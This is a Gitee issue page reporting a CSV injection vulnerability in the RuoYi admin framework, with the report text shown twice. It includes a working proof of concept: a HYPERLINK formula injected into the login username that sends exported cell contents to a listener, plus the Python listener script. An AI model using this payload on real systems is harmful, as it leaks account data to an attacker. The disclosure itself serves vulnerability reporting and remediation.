Sign in
Sign up
Explore
Enterprise
Education
Search
Help
Terms of use
About Us
Explore
Enterprise
Education
Gitee Premium
Gitee AI
AI teammates
Sign in
Sign up
Fetch the repository succeeded.
Open Source
>
Web Development
>
Backend Management
&&
Donate
Please sign in before you donate.
Cancel
Sign in
Scan WeChat QR to Pay
Cancel
Complete
Prompt
Switch to Alipay.
OK
Cancel
Watch
Unwatch
Watching
Releases Only
Ignoring
6.2K
Star
48.2K
Fork
26.9K
GVP
若依
/
RuoYi
Code
Issues
3
Pull Requests
11
Wiki
Insights
Pipelines
Service
JavaDoc
Quality Analysis
Jenkins for Gitee
Tencent CloudBase
Tencent Cloud Serverless
悬镜安全
Aliyun SAE
Codeblitz
SBOM
DevLens
Don’t show this again
Update failed. Please try again later!
Remove this flag
Content Risk Flag
This task is identified by
as the content contains sensitive information such as code security bugs, privacy leaks, etc., so it is only accessible to contributors of this repository.
CSV Injection Vulnerability
Done
#I4RBBD
sanlang
Opened this issue
2022-01-18 16:43
The product has the CSV injection vulnerability. For example, the CSV injection vulnerability is used to obtain login accounts. 1. When a user logs in, in the request of "/login", change the value of `username` to `=HYPERLINK("http://localhost:8007?u="%26B2%26B3%2c"E")` by burpsuite tool.   2. Run the python script to start the HTTP service with port 8007. ``` from http.server import HTTPServer, BaseHTTPRequestHandler import json data = {'result': 'this is a test'} # You can change **localhost** to the IP address of the hacker's computer. host = ('localhost', 8007) class Resquest(BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header('Content-type', 'application/json') self.end_headers() self.wfile.write(json.dumps(data).encode()) if __name__ == '__main__': server = HTTPServer(host, Resquest) print("Starting server, listen at: %s:%s" % host) server.serve_forever() ``` 3. Choose "日志管理"->"登录日志" ("Log Management"->"Login Log") to view logs, and exporting `.xlsx` log file.  4. Open `.xlsx` log file, double-click the cell of `=HYPERLINK("http://localhost:8007?u="%26B2%26B3%2c"E")`. Then click an empty cell. And then click the cell of `=HYPERLINK("http://localhost:8007?u="%26B2%26B3%2c"E")`. In this case, a request is sent to the `localhost:8007`. The contents of cells `B2` and `B3` are `admin` and `test1`.  Before double-click.  After double-click. And then click `E`.  A request is sent to the `localhost:8007` through the browser.  5. The HTTP service with port 8007 receives the following information: `127.0.0.1 - - [18/Jan/2022 17:04:07] "GET /?u=admintest1 HTTP/1.1" 200 -`  So, we get user"admin"/"test1"/...
The product has the CSV injection vulnerability. For example, the CSV injection vulnerability is used to obtain login accounts. 1. When a user logs in, in the request of "/login", change the value of `username` to `=HYPERLINK("http://localhost:8007?u="%26B2%26B3%2c"E")` by burpsuite tool.   2. Run the python script to start the HTTP service with port 8007. ``` from http.server import HTTPServer, BaseHTTPRequestHandler import json data = {'result': 'this is a test'} # You can change **localhost** to the IP address of the hacker's computer. host = ('localhost', 8007) class Resquest(BaseHTTPRequestHandler): def do_GET(self): self.send_response(200) self.send_header('Content-type', 'application/json') self.end_headers() self.wfile.write(json.dumps(data).encode()) if __name__ == '__main__': server = HTTPServer(host, Resquest) print("Starting server, listen at: %s:%s" % host) server.serve_forever() ``` 3. Choose "日志管理"->"登录日志" ("Log Management"->"Login Log") to view logs, and exporting `.xlsx` log file.  4. Open `.xlsx` log file, double-click the cell of `=HYPERLINK("http://localhost:8007?u="%26B2%26B3%2c"E")`. Then click an empty cell. And then click the cell of `=HYPERLINK("http://localhost:8007?u="%26B2%26B3%2c"E")`. In this case, a request is sent to the `localhost:8007`. The contents of cells `B2` and `B3` are `admin` and `test1`.  Before double-click.  After double-click. And then click `E`.  A request is sent to the `localhost:8007` through the browser.  5. The HTTP service with port 8007 receives the following information: `127.0.0.1 - - [18/Jan/2022 17:04:07] "GET /?u=admintest1 HTTP/1.1" 200 -`  So, we get user"admin"/"test1"/...
Comments (
1
)
Sign in
to comment
Status
Done
Backlog
Doing
Done
Closed
Assignees
Not set
Labels
Not set
Label settings
Milestones
No related milestones
No related milestones
Pull Requests
None yet
None yet
Successfully merging a pull request will close this issue.
Branches
No related branch
Branches (
-
)
Tags (
-
)
Planed to start   -   Planed to end
-
Top level
Not Top
Top Level: High
Top Level: Medium
Top Level: Low
Priority
Not specified
Serious
Main
Secondary
Unimportant
参与者(2)
Java
1
https://gitee.com/y_project/RuoYi.git
git@gitee.com:y_project/RuoYi.git
y_project
RuoYi
RuoYi
Going to Help Center
Search
Git 命令在线学习
如何在 Gitee 导入 GitHub 仓库
Git 仓库基础操作
企业版和社区版功能对比
SSH 公钥设置
如何处理代码冲突
仓库体积过大,如何减小?
如何找回被删除的仓库数据
Gitee 产品配额说明
GitHub仓库快速导入Gitee及同步更新
什么是 Release(发行版)
将 PHP 项目自动发布到 packagist.org
Comment
Repository Report
Back to the top
Login prompt
This operation requires login to the code cloud account. Please log in before operating.
Go to login
No account. Register